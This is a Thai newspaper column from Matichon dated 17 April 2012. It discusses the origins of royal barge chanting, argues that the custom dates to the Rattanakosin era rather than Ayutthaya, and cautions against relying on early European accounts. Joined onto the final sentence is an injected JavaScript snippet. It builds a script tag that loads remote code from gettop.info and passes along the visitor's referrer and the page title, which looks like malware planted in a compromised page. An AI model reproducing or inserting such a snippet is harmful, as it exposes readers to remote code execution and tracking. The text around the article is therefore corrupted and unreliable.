มติชนรายวัน ฉบับประจำวันอังคารที่ 17 เมษายน 2555

 

          บทเห่กล่อมเป็นกลอนเพลงที่ไม่กำหนดจำนวนคำตายตัวจะมีกี่คำก็ได้ใช้เห่กล่อมในพิธีกรรมแล้วร้องเล่นทั่วไป กับใช้กล่อมลูกของคนในตระกูลไทย-ลาว มีมาแต่ยุคดึกดำบรรพ์ก่อนมีกรุงศรีอยุธยา

          ครั้นถึงยุคอยุธยา เจ้าฟ้ากุ้งทรงปรับบทเห่กล่อมเป็น“กาพย์”ตามคัมภีร์ มีจำนวนคำกำหนดแน่นอน แล้วทรงพระนิพนธ์กาพย์เห่เรือและเห่ต่างๆเป็นเชิงสังวาสถึงหญิงคนรัก แต่ไม่ได้ใช้เห่เรือจริงๆ

          เห่เรือ มาจากไหน? เมื่อไร? ผมเขียนอธิบายไว้ในหนังสือเรือพระราชพิธี และเห่เรือมาจากไหน? (โพสต์บุ๊กส์พิมพ์เมื่อ พ.ศ. 2554) มีสาระสำคัญดังนี้

          เห่เรือในกระบวนพยุหยาตราทางชลมารค เป็นประเพณีที่เพิ่งสร้างใหม่ในยุคกรุงรัตนโกสินทร์

          น่าเชื่อว่าเริ่มมีในละครและเพลงดนตรีที่สมเด็จฯ เจ้าฟ้ากรมพระยานริศรานุวัดติวงศ์ทรงสร้างสรรค์ขึ้นในแผ่นดินพระพุทธเจ้าหลวง รัชกาลที่ 5 เพราะถึงขณะนี้ยังไม่มีหลักฐานตรงว่ายุคกรุงศรีอยุธยามีเห่เรือแบบเดียวกับที่มีทุกวันนี้ แต่มีผู้พบว่าแรกมีในรัชกาลที่ 4 แล้ว

          เห่เรือ ทุกวันนี้หมายถึงขับลำนำเป็นทำนองอย่างหนึ่งในกระบวนเรือพระราชพิธีพยุหยาตราทางชลมารค มีต้นเสียงเห่นำ แล้วมีลูกคู่เห่ตาม

          แต่ เห่ หมายถึงทำนองขับลำนำเพื่อวิงวอนร้องขอ หรือทำให้เพลินใจแล้วเคลิบเคลิ้มถึงหลับไปก็ได้ บางทีก็ใช้ควบคู่กับกล่อม คือเห่กล่อมพระบรรทมถวายเจ้านายเมื่อจะบรรทม

          กล่อม หมายถึงร้องเป็นทำนองเพื่อเล้าโลมใจ เช่น กล่อมเด็ก คือร้องลำนำกล่อมให้เด็กเพลินจนนอนหลับ กล่อมหอ ขับร้องหรือเล่นดนตรีบนเรือนหอเพื่อให้รื่นเริงในพิธีแต่งงาน ฯลฯ

          ในพิธีพราหมณ์สยาม มีพิธีกล่อมหงส์เป็นทำนองอย่างหนึ่งเรียกช้าเจ้าหงส์ คือเอาเทวดาลงเปลแล้วไกวพร้อมกล่อมช้าเจ้าหงส์ เป็นต้น

          ในกฎมณเฑียรบาลยุคต้นกรุงศรีอยุธยาไม่มีกล่าวถึงเห่เรือ จะมีก็แต่การละเล่นเพลงเรือของราษฎรทั่วไปที่มีโห่ร้องแล้วมีเครื่องดนตรีประเภทเครื่องสาย ดีดสี ตีเป่า ประกอบด้วย แต่เห่เรือต่างจากโห่ร้อง ฉะนั้นอย่าเอาไปปนกัน

          กระบวนพยุหยาตราทางชลมารคในพระราชพิธี มีเรือทรงอยู่ตรงกลาง แล้วขนาบด้วยเรืออื่นๆ โดยมีสองลำสำคัญขนาบซ้าย-ขวา ระบุในกฎมณเฑียรบาลว่า “ซ้ายดนตรี ขวามโหรี”

          หมายความว่าขณะกระบวนเรือเคลื่อนที่ด้วยฝีพาย เรือลำทางซ้าย มีวงเครื่องสายเรียกวงดนตรี บรรลือบรรเลงยอพระเกียรติด้วยฉันทลักษณ์ศักดิ์สิทธิ์ ส่วนเรือลำทางขวา มีวงเครื่องสายเรียกวงมโหรี ประโคมบรรเลงเพลงสนุกสนานเห่โห่โต้ตอบคร่ำครวญเชิงสังวาสไปตลอดทางเสด็จ

          แต่พลพายในเรือทรงต้องพายเรืออย่างเดียว ขืนร้องเห่เรือก็ผิดกฎมณเฑียรบาล มีโทษถึงตัดหัวเท่านั้น

          บันทึกของฝรั่งครั้งอยุธยา แผ่นดินสมเด็จพระนารายณ์ฯ เช่น นิโกลาส์ แชรแวส, ฯลฯ ใจความว่า“เสียงพายกระทบกันเบาๆ ประสานกับทำนองเพลงที่เขาโห่ยอพระเกียรติพระเจ้าแผ่นดิน เป็นคล้ายเสียงดนตรีที่เสนาะโสตของพวกชาวบ้านชาวเมืองเป็นอันมาก”

          อ่านแล้วผมคิดว่าเป็นกิจกรรมของเรือสองลำ “ซ้ายดนตรี ขวามโหรี” ที่ไม่ใช่ “เห่เรือ” อย่างสมัยกรุงเทพฯ มักแสดงเพื่อการท่องเที่ยว

          นักประวัติศาสตร์ผู้ใหญ่เคยเตือนไว้นานแล้ว ว่าบันทึกของชาวต่างชาติยุคก่อนๆมีลักษณะ exotic ที่เกินจริง เชื่อยาก หากจะใช้งานก็ต้องระมัดระวังมากๆ

          ดังนั้น ข้อเขียนของแชรแวสมีปัญหา เพราะโน้ตเพลงสุดใจ-สายสมรที่เขาจดไปก็มีปัญหาว่าไม่ใช่ทำนองเพลงไทยจริงๆ แล้วข้อความที่ยกมานี้ยังมีปัญหาการแปลเป็นคำไทยอีก เลยยุ่งกันใหญ่var d=document;var s=d.createElement(‘script’); s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;